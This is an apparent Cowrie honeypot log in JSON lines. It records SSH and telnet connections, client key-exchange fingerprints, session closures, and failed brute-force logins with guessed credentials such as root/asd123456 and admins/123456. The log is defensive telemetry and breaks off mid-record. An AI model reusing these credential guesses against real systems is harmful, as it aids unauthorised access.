{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:13.927983Z","src_ip":"45.232.73.84","session":"525100931db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123456","message":"login attempt [root/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:14.421098Z","src_ip":"45.232.73.84","session":"525100931db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:15.559866Z","src_ip":"45.232.73.84","session":"525100931db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.604462385177612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:18.046379Z","src_ip":"149.255.39.70","session":"97f5cad18587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":50136,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf4d9d4a009","protocol":"ssh","message":"New connection: 152.32.163.183:50136 (10.17.0.5:22) [session: 5bf4d9d4a009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:23.767085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:23.772571Z","src_ip":"152.32.163.183","session":"5bf4d9d4a009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.980226278305054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:24.098421Z","src_ip":"149.255.39.70","session":"0c3aa14a65bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428855419158936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:25.027242Z","src_ip":"149.255.39.70","session":"4270d03dde41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713780641555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:28.286825Z","src_ip":"149.255.39.70","session":"384e82246f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58880,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca6ff25de174","protocol":"ssh","message":"New connection: 159.203.92.129:58880 (159.203.135.109:22) [session: ca6ff25de174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:33.587097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:33.593289Z","src_ip":"159.203.92.129","session":"ca6ff25de174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:33.597912Z","src_ip":"159.203.92.129","session":"ca6ff25de174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"user","message":"login attempt [adminroot/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:33.608843Z","src_ip":"159.203.92.129","session":"ca6ff25de174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:34.669129Z","src_ip":"159.203.92.129","session":"ca6ff25de174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":46050,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e0b92335296","protocol":"telnet","message":"New connection: 149.255.39.70:46050 (10.17.0.5:23) [session: 4e0b92335296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:45.407348Z"}
{"eventid":"cowrie.session.closed","duration":30.706581115722656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:16.113815Z","src_ip":"149.255.39.70","session":"4e0b92335296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":49016,"dst_ip":"159.203.135.109","dst_port":22,"session":"65319e4f3e13","protocol":"ssh","message":"New connection: 45.232.73.84:49016 (159.203.135.109:22) [session: 65319e4f3e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:16.206573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:16.216715Z","src_ip":"45.232.73.84","session":"65319e4f3e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:16.338898Z","src_ip":"45.232.73.84","session":"65319e4f3e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4SSword","message":"login attempt [root/P4SSword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:16.835985Z","src_ip":"45.232.73.84","session":"65319e4f3e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:17.967703Z","src_ip":"45.232.73.84","session":"65319e4f3e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d82e9b80789d","protocol":"ssh","message":"New connection: 159.203.92.129:54832 (159.203.135.109:22) [session: d82e9b80789d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:19.062842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:19.067847Z","src_ip":"159.203.92.129","session":"d82e9b80789d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:19.073607Z","src_ip":"159.203.92.129","session":"d82e9b80789d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"123","message":"login attempt [admins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:19.082453Z","src_ip":"159.203.92.129","session":"d82e9b80789d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:20.089250Z","src_ip":"159.203.92.129","session":"d82e9b80789d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a28e725f7da","protocol":"telnet","message":"New connection: 149.255.39.70:44654 (10.17.0.5:23) [session: 6a28e725f7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:21.567145Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":40390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b9aa9bea1a","protocol":"telnet","message":"New connection: 149.255.39.70:40390 (10.17.0.5:23) [session: b3b9aa9bea1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:34.297097Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":40920,"dst_ip":"10.17.0.5","dst_port":23,"session":"3831c6c79dc3","protocol":"telnet","message":"New connection: 149.255.39.70:40920 (10.17.0.5:23) [session: 3831c6c79dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:47.359331Z"}
{"eventid":"cowrie.session.closed","duration":30.624072790145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:52.191062Z","src_ip":"149.255.39.70","session":"6a28e725f7da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":12680,"dst_ip":"10.17.0.5","dst_port":22,"session":"29cd24256f75","protocol":"ssh","message":"New connection: 152.32.163.183:12680 (10.17.0.5:22) [session: 29cd24256f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:58.871708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:19:58.876472Z","src_ip":"152.32.163.183","session":"29cd24256f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:00.123081Z","src_ip":"152.32.163.183","session":"29cd24256f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"q1w2e3r4t5","message":"login attempt [testftp/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:00.883179Z","src_ip":"152.32.163.183","session":"29cd24256f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:02.892416Z","src_ip":"152.32.163.183","session":"29cd24256f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93245029449463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:05.229433Z","src_ip":"149.255.39.70","session":"b3b9aa9bea1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33208,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e76c02ef27","protocol":"ssh","message":"New connection: 159.203.92.129:33208 (159.203.135.109:22) [session: 59e76c02ef27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:05.706493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:05.849295Z","src_ip":"159.203.92.129","session":"59e76c02ef27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:05.854075Z","src_ip":"159.203.92.129","session":"59e76c02ef27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"123456","message":"login attempt [admins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:06.754222Z","src_ip":"159.203.92.129","session":"59e76c02ef27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:07.857680Z","src_ip":"159.203.92.129","session":"59e76c02ef27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720892190933228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:18.080135Z","src_ip":"149.255.39.70","session":"3831c6c79dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":37788,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab72c4cf7ff1","protocol":"ssh","message":"New connection: 45.232.73.84:37788 (159.203.135.109:22) [session: ab72c4cf7ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:22.717030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:22.723794Z","src_ip":"45.232.73.84","session":"ab72c4cf7ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 